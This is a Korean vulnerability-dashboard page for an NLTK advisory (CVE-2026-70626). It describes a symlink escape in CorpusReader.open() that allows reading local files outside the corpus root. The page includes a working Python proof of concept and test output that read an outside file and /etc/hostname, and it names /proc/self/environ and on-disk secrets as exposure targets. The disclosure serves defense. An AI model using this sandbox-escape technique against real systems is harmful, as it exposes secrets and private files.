Kestrel
대시보드로 돌아가기
CVE-2026-70626HIGH· 6.2MITRENVDGHSA대응게시일: 2026. 08. 22.수정일: 2026. 09. 08.

NLTK: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
6.2high

이론적 심각도 점수

EPSS
0.2%상위 89.5%

30일 내 악용 확률 예측

KEV
미등재

실측 악용 기록 없음

권장 대응 기한차기 업그레이드 시CISA SSVC 기준

별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치

· KEV 미등재 · 자동화 어려움 · 부분 영향 · 내부 한정

CVSS 벡터 · 메트릭

악용 경로
공격 벡터로컬
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향높음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.16.2HIGH
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

상세 설명

Summary

nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.

Details

The vulnerable flow is:

  • nltk/corpus/reader/api.py:222

    • CorpusReader.open() blocks absolute paths and .., then calls self._root.join(file).open()
  • nltk/data.py:398

    • FileSystemPathPointer.join() joins the requested file ID and checks whether the resulting path still appears to remain under the configured root

The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.

Current behavior:

  1. CorpusReader.open() rejects:
    • absolute paths
    • .. path traversal
  2. FileSystemPathPointer.join() computes:
    • joined = os.path.normpath(os.path.join(self._path, fileid))
    • root = os.path.normpath(self._path)
  3. It allows the access if joined starts with root

This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.

Example:

text
1JOINED=/tmp/nltk-root/link/secret.txt
2REALPATH=/tmp/outside/secret.txt

JOINED still appears to be inside the root, but REALPATH is outside it.

This is distinct from simple ../ traversal:

  • the file ID is not absolute
  • the file ID does not contain ..
  • the escape only happens after filesystem resolution of a symlink under the allowed root

PoC

Reproduced in an isolated Docker sandbox using the local nltk clone.

Minimal Python PoC:

python
1import os
2import tempfile
3from nltk.corpus.reader.api import CorpusReader
4
5root = tempfile.mkdtemp(prefix="nltk-root-")
6outside_dir = tempfile.mkdtemp(prefix="nltk-out-")
7outside_file = os.path.join(outside_dir, "secret.txt")
8
9with open(outside_file, "w") as f:
10 f.write("secret-data")
11
12os.symlink(outside_dir, os.path.join(root, "link"))
13
14corpus = CorpusReader(root, ["link/secret.txt"])
15with corpus.open("link/secret.txt") as f:
16 print(f.read())

Observed result:

text
1secret-data

Docker re-test output:

text
1ROOT=/tmp/nltk-root-jjxay3if
2OUTSIDE_DIR=/tmp/nltk-out-1kef36e0
3JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt
4REALPATH=/tmp/nltk-out-1kef36e0/secret.txt
5READ_OK=secret-data
6INSIDE_ROOT=True
7REAL_INSIDE_ROOT=False

Additional impact validation using a system file:

text
1ROOT=/tmp/nltk-root-_h5x4m19
2JOINED=/tmp/nltk-root-_h5x4m19/hostfile
3REALPATH=/etc/hostname
4HOSTNAME_READ=48dafb244af3
5INSIDE_ROOT=True
6REAL_INSIDE_ROOT=False

This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.

Impact

This is an arbitrary local file read / symlink escape issue.

Who is impacted:

  • applications that accept attacker-controlled corpus directories, extracted datasets, or package contents
  • applications that rely on NLTK corpus readers as a trust boundary for file access
  • any deployment where an attacker can place or influence files inside the allowed corpus root

Practical impact includes disclosure of:

  • application secrets stored on disk
  • local configuration files
  • private datasets
  • process-exposed files such as /proc/self/environ
  • system files readable by the running user

The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.